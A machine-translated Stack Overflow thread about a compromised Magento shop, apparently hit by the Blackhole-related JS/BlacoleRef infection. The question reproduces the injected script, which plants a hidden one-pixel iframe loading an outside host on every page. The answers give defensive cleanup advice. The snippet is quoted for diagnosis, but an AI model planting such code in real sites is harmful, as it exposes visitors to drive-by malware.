我的客户今天打电话给我,告诉我后端的一些功能突然停止工作。快速浏览后,我看到该网站包含最后一个html标记下面的恶意代码..这是代码:
<script type="text/javascript">
(function () {
var zg = document.createElement('iframe');
zg.src = 'http://impactrl.de/chat/esd.php';
zg.style.position = 'absolute';
zg.style.border = '0'; zg.style.height = '1px';
zg.style.width = '1px'; zg.style.left = '1px';
zg.style.top = '1px';
if (!document.getElementById('zg')) {
document.write('<div id=\'zg\'></div>');
document.getElementById('zg').appendChild(zg);
}})();
</script>
我的客户还告诉我他下载了一些允许他从桌面上运行商店的软件。我敢打赌,这就是问题所在。
但是,我想摆脱那段代码,但我无法在任何文件中找到它。它位于所有后端和前端页面上。
有谁知道我要查看哪个文件?
答案 0 :(得分:1)
这是一个更大问题的臭味。如果您在网站上发现未知代码从未知服务器中提取资源,您遇到安全问题。一个安全问题是足够糟糕的新闻,但在一个正在进行电子商务的网站上,这是一个完全不可接受的情况。
此时唯一安全的做法是擦除您的服务器并从头开始安装。确保使用最新且完全修补的操作系统,Apache,PHP和Magento安装。
如果你有备份(我希望你这样做),一个好的起点可能是在出现任何问题之前的备份。使服务器脱机,恢复备份,然后将所有组件更新到最新版本。只有这样才能使服务器恢复在线状态。
答案 1 :(得分:1)
这是您经常并始终备份网站代码库和数据库的主要原因。实际上,如果你不知道代码的来源,你也不知道是否有多个插入点和其他东西搞乱了。更改所有登录和访问凭据(ssh,ftp,mysql,cPanel,用于维护的计算机(良好的站点裂缝在家中开始,扫描恶意软件),擦除系统并重新安装。
将此视为100%后见之明并且如果您正在寻找它的来源:
第一步是grep
(man grep
在您的ssh提示符下有关使用grep
)代码库的说明(基本上任何文本文件,而不仅仅是Magento,可以包含任何内容)在服务器上的任何地方)。您不仅要查看漏洞利用中找到的字符串,还要查看插入的obfusticated代码的迹象,因为大多数网站破解者希望代码保持更长的生命周期。不太明显且容易找到,越好。
如果此站点接近库存,则第二步是针对新代码库diff
,您可以在单独的文件夹中安装正在运行的Magento版本的新解压缩,然后执行{{1在实时安装和新代码库之间的主目录上查找所有不同的文件。 Inchoo has an article on using grep to look for code diferences.要使用的基本命令是diff
,还diff -qrbB contaminated\code\location fresh\code\location
针对您自定义模板的旧存储副本。
第三步是考虑它可能不在任何模板文件中。你要么看一个妥协的登录,有人使用后端将代码放在几个页面配置文本区域中,用于代码包含,添加一个CMS块,然后引用它,通过驱动器进入系统 - 通过代码插入,将一些内容插入到数据库中以获取来自其他网站的XSS代码包含,或者如果您有一个外部暴露的MySQL端口,则具有数据库登录凭据并可以随意插入任何内容。执行数据库转储和diff
字符串的SQL代码再一次找到这些代码。
答案 2 :(得分:1)
在客户端页面上存在完全相同的问题,并且感染了 JS / BlacoleRef.F.3 。 我也没有使用Magento,所以我猜问题与它无关。所以我只是恢复了损坏的HTML文件,它显然现在有效。
答案 3 :(得分:0)
你应该找到一种方法来防止它被插入DOM!在Chrome中,您在Inspector中有一个很好的资源概述。
为安全起见,您可以检查网页中的其他iframe,并添加一些common.css #zg{ display: none; }
。或者,
如果你有multipe iFrame,你可以使用JS并使用document.getElementsByTagName("IFRAME")
并循环遍历它们,并删除具有指定src值的那个。
更新:
Chrome会验证是否已在每个JS文件中添加此内容。我解释说,因为它是从服务器发送的。我不相信它与JS有关。